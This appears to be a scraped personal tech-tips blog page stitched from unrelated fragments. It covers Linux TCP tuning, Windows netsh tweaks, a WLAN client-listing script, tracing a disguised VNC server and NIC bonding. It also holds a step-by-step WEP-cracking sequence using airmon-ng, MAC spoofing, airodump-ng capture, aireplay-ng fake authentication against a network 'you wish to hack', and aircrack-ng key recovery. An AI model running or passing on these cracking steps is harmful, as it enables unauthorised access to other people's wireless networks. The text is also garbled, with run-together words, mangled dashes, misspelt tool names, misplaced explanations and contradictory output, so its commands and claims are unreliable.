Welcome to my site. Please CLICK HERE to give your opinions regarding this new look of "PCTipsbyAnu". Thanks for visiting.
Output:# mkdir -p /tmp/www
while [ 1 ];
do
wl assoclist | awk '{print tolower($2)}' > /tmp/assocLIST
# echo "<meta http-equiv="refresh" content="10"><b>Hostnames and IP addresses of WLAN clients</b> (last update: $(date))<p>" > /tmp/www/wlan.html
while read assocLINE
do
dumpleases | awk '/'"$assocLINE"'/ {print "Hostname: " $1, "MAC: " $2, "IP: " $3}'
# echo "<br>";
done < /tmp/assocLIST # >> /tmp/www/wlan.html
sleep 10;
done;
Monday, December 26, 2011
Anu
Hostname: tp MAC: 01:81:18:3d:49:5e IP: 192.168.2.101... awk '{print $1,$3}'tp 192.168.2.101
echo 256960 > /proc/sys/net/core/rmem_default
echo 256960 > /proc/sys/net/core/rmem_max
echo 256960 > /proc/sys/net/core/wmem_default
echo 256960 > /proc/sys/net/core/wmem_max
echo 0 > /proc/sys/net/ipv4/tcp_timestamps echo 1 > /proc/sys/net/ipv4/tcp_sack echo 1 > /proc/sys/net/ipv4/tcp_window_scalingExecute sysctl -p to make these new settings take effect.net.core.rmem_default = 256960
net.core.rmem_max = 256960
net.core.wmem_default = 256960
net.core.wmem_max = 256960
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
ifconfig eth0 mtu 1500 (where 1500 is the desired MTU size)
/proc/sys/net/core/rmem_default = Default Receive WindowYou'll find timestamps, window scalling, selective acknowledgements, etc.
rmem_max = Maximum Receive Window
wmem_default = Default Send Window
wmem_max = Maximum Send Window
/proc/sys/net/ipv4/
TCP_FIN_TIMEOUTThis setting determines the time that must elapse before TCP/IPcan release a closed connection and reuse its resources. During thisTIME_WAIT state, reopening the connection to the client costs less thanestablishing a new connection.
# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout(default: 60 seconds, recommended 15-30 seconds)Notes:
netstat -tan | grep ':80 ' | awk '{print $6}' | sort | uniq -c
echo 30 > /proc/sys/net/ipv4/tcp_keepalive_intvl
(default: 75 seconds, recommended: 15-30 seconds)
echo 5 > /proc/sys/net/ipv4/tcp_keepalive_probes
(default: 9, recommended 5)
echo 1 > /proc/sys/net/ipv4/tcp_tw_recycleTCP_TW_REUSE
(boolean, default: 0)
echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse(boolean, default: 0)Note:The tcp_tw_reuse setting is particularly useful in environments wherenumerous short connections are open and left in TIME_WAIT state, suchas web servers. Reusing the sockets can be very effective in reducing server load.
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/TCPIP6 and ParametersRight click on Parameters and selectNew and then DWORD (32-bit) Value.
2. On Windows XP systems, you can also disable the "IP Helper" service: however, you'll lose use of the portproxy function.netsh interface ipv6 6to4 set state state=disabled
netsh interface ipv6 isatap set state state=disabled
netsh interface ipv6 set teredo disable
2. I prefer not to use IPv6 privacy addressing for troubleshooting purposes; it can be disabled with the following command...netsh interface tcp set global congestion=ctcp
netsh interface tcp set global time=enabled
netsh interface tcp set global chimney=enabled
3. There is an additional tweak that can help deal with propertraffic routing: however, many routers don't implement it correctly,and Battlefield Heroes doesn't like it at all. Use at your caution.netsh interface ipv6 set privacy state=disable
And there you have ... my list of favorite tweaks.netsh interface tcp set global ecn=enabled
ifconfig
airmon-ng
airmon-ngstop [Wi-Fi Card name(without the quotes)]
macchanger–mac [Desired MAC address] [Wi-Fi card name]
airmon-ngstart [Wi-Fi Card name]
airodump-ng[Wi-Fi card name]
airodump-ng–c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID][Wi-Fi Card name]
airreplay-ng-1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)][Wi-Fi card name]
aircrack-ng–n 64 –b [BSSID] [Filename without the extension]
aircrack-ng–n [BIT LEVEL] –b [BSSID] [Filename without extension]
aircrack-ng–n 32 –b [BSSID] [Filename without the extension]
aircrack-ng–n 128 –b [BSSID] [Filename without the extension] etc. etc.
“mstsc/w:2560 /h:1024″
“mstsc /w:2560 /h:1024 /v:1.1.1.1:9999″
"I'm having trouble tracking down a process that'srunning on my machine. When I run netstat -a, I see lots of things thatshould be there, but also the following:
$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:imaps *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
...
tcp 0 0 *:8577 *:* LISTEN
...
I can't figure out what that is on port 8577. Any ideas?"
$ nc localhost 8577The server process responded with the RFB line. That's what you get when you connect to a VNC server, just like you'd expect SSH-1.99-OpenSSH.... for an SSH server that supports v1 and v2.
RFB 003.003
# netstat -ap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:imaps *:* LISTEN 277/stunnel
tcp 0 0 *:smtp *:* LISTEN 394/master
...
tcp 0 0 *:8577 *:* LISTEN 57283/bash
...
# ps -fc 57283So here we can see that /home/tiger/bin/bash (a copy of vncserver under a different name to avoid detection) is the process listening on port 8577, and it can be killed and tiger scolded as appropriate.
UID PID PPID CLS PRI STIME TTY STAT TIME CMD
doug 57283 1 - 29 10:30 ? S 0:00 /home/tiger/bin/bash
# lsof -i tcp:8577
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ssh 57283 tiger 3u IPv4 31740 TCP *8577 (LISTEN)
DEVICE=bond0
IPADDR=192.168.10.100
NETMASK=255. 255.255.0
GATEWAY=192.168.10.1
USERCTL=no
BOOTPROTO=none
ONBOOT=yes
DEVICE=eth0
BOOTPROTO=none
ONBOOT=yes
MASTER=bond0
SLAVE=yes
DEVICE=eth1
BOOTPROTO=none
ONBOOT=yes
USERCTL=no
MASTER=bond0
SLAVE=yes
DEVICE=eth2
BOOTPROTO=none
ONBOOT=yes
MASTER=bond0
SLAVE=yes
# bonding commands
alias bond0 bonding
options bond0 mode=balance-alb miimon=100
$ modprobe bonding
$ service network restart
$ cat /proc/net/bonding/bond0
Ethernet Channel Bonding Driver: v3.0.2 (March 23, 2006)
Bonding Mode: adaptive load balancing
Primary Slave: None
Currently Active Slave: eth2
MII Status: up
MII Polling Interval (ms): 100
Up Delay (ms): 0
Down Delay (ms): 0
Slave Interface: eth2
MII Status: up
Link Failure Count: 0
Permanent HW addr: 00:13:72:80: 62:f0
